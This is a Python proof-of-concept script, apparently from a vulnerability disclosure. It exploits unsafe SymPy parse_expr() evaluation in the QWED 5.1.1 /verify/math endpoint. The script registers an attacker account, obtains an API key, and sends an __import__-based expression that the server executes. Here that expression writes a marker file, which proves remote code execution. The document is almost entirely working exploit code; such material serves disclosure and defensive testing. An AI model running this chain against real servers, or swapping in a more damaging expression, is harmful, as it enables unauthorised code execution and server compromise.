Details
poc.py
#!/usr/bin/env python3
"""
Proof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() — VULN-001
Affected product : QWED 5.1.1 (QWED-AI/qwed-verification)
Endpoint : POST /verify/math
CWE : CWE-94 — Improper Control of Code Generation
CVSS : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Root cause:
src/qwed_new/api/main.py:504 passes attacker-controlled input directly to
sympy.parsing.sympy_parser.parse_expr() without a restricted global/local
namespace. parse_expr() internally calls eval(), so any valid Python
expression — including __import__() calls — is executed server-side.
Exploit chain:
1. Register an account via POST /auth/signup (open to any user by default)
2. Obtain an API key via POST /auth/api-keys
3. POST /verify/math with expression=<python code>
The code runs inside the server process.
Observable evidence:
- HTTP 200 response (not 4xx/5xx) proves the payload was evaluated
- A marker file is written inside the container; verify with:
docker exec <container> cat /tmp/qwed_parse_expr_rce
Expected content: "pwned_by_parse_expr_rce"
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8765]
"""
import argparse
import json
import sys
import time
import requests
# Path written inside the server process by the RCE payload
RCE_MARKER_PATH = "/tmp/qwed_parse_expr_rce"
# Content written to the marker file (must not contain quotes)
RCE_MARKER_CONTENT = "pwned_by_parse_expr_rce"
def wait_for_server(base_url: str, timeout: int = 90) -> bool:
"""Poll the server health endpoint until it responds or timeout expires."""
print(f"[*] Waiting for server at {base_url} (up to {timeout}s)...")
deadline = time.time() + timeout
while time.time() < deadline:
try:
r = requests.get(f"{base_url}/health", timeout=2)
if r.status_code < 500:
return True
except requests.exceptions.ConnectionError:
pass
time.sleep(2)
return False
def signup(base_url: str) -> str:
"""
Create an attacker-controlled account and return the JWT bearer token.
/auth/signup is enabled by default and requires no prior authorization.
"""
payload = {
"email": "[email protected]",
"password": "Attacker1234!",
"organization_name": "vuln001-attacker-org",
}
r = requests.post(f"{base_url}/auth/signup", json=payload, timeout=15)
if r.status_code == 400 and "already registered" in r.text:
# Account exists from a previous run; sign in instead
sign_in_payload = {
"email": payload["email"],
"password": payload["password"],
}
r = requests.post(f"{base_url}/auth/signin", json=sign_in_payload, timeout=15)
r.raise_for_status()
token = r.json()["access_token"]
return token
def create_api_key(base_url: str, bearer_token: str) -> str:
"""
Create an API key for the attacker account.
Returns the plaintext key (shown only once by the API).
"""
headers = {"Authorization": f"Bearer {bearer_token}"}
r = requests.post(
f"{base_url}/auth/api-keys",
json={"name": "vuln001-poc"},
headers=headers,
timeout=15,
)
r.raise_for_status()
return r.json()["key"]
def exploit(base_url: str, api_key: str) -> dict:
"""
Send the RCE payload to POST /verify/math.
The expression uses pathlib.Path.write_text() which:
- Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process
- Returns an integer (bytes written) that parse_expr() can handle without
raising an exception, making the side-effect transparent to the caller
The absence of an error and a 200 status code proves code execution.
"""
expression = (
f"__import__('pathlib')"
f".Path('{RCE_MARKER_PATH}')"
f".write_text('{RCE_MARKER_CONTENT}')"
)
headers = {
"Content-Type": "application/json",
"x-api-key": api_key,
}
r = requests.post(
f"{base_url}/verify/math",
json={"expression": expression},
headers=headers,
timeout=20,
)
content_type = r.headers.get("content-type", "")
body = r.json() if "application/json" in content_type else r.text
return {"status_code": r.status_code, "body": body}
def main() -> None:
parser = argparse.ArgumentParser(
description="PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1"
)
parser.add_argument("--host", default="127.0.0.1", help="API server host")
parser.add_argument("--port", type=int, default=8765, help="API server port")
args = parser.parse_args()
base_url = f"http://{args.host}:{args.port}"
# ── Step 0: wait for server ──────────────────────────────────────────────
if not wait_for_server(base_url):
print("[FAIL] Server did not become ready within the timeout.")
sys.exit(1)
print("[+] Server is ready.\n")
# ── Step 1: sign up ──────────────────────────────────────────────────────
print("[*] Step 1/3: Creating attacker account via POST /auth/signup")
bearer_token = signup(base_url)
print("[+] Account created; JWT bearer token obtained.\n")
# ── Step 2: API key ──────────────────────────────────────────────────────
print("[*] Step 2/3: Obtaining API key via POST /auth/api-keys")
api_key = create_api_key(base_url, bearer_token)
print(f"[+] API key (first 20 chars): {api_key[:20]}...\n")
# ── Step 3: exploit ──────────────────────────────────────────────────────
rce_expression = (
f"__import__('pathlib')"
f".Path('{RCE_MARKER_PATH}')"
f".write_text('{RCE_MARKER_CONTENT}')"
)
print("[*] Step 3/3: Sending RCE payload to POST /verify/math")
print(f" expression = {rce_expression}\n")
result = exploit(base_url, api_key)
print(f"[*] HTTP status : {result['status_code']}")
print(f"[*] HTTP response:\n{json.dumps(result['body'], indent=2)}\n")
if result["status_code"] == 200:
print("=" * 60)
print("[PASS] HTTP 200 returned — payload evaluated without error.")
print(f" The server wrote '{RCE_MARKER_CONTENT}' to {RCE_MARKER_PATH}")
print()
print(" Verify decisive evidence inside the container:")
print(f" docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}")
print("=" * 60)
sys.exit(0)
else:
print(f"[FAIL] Unexpected HTTP {result['status_code']} — exploit did not succeed.")
sys.exit(2)
if __name__ == "__main__":
main()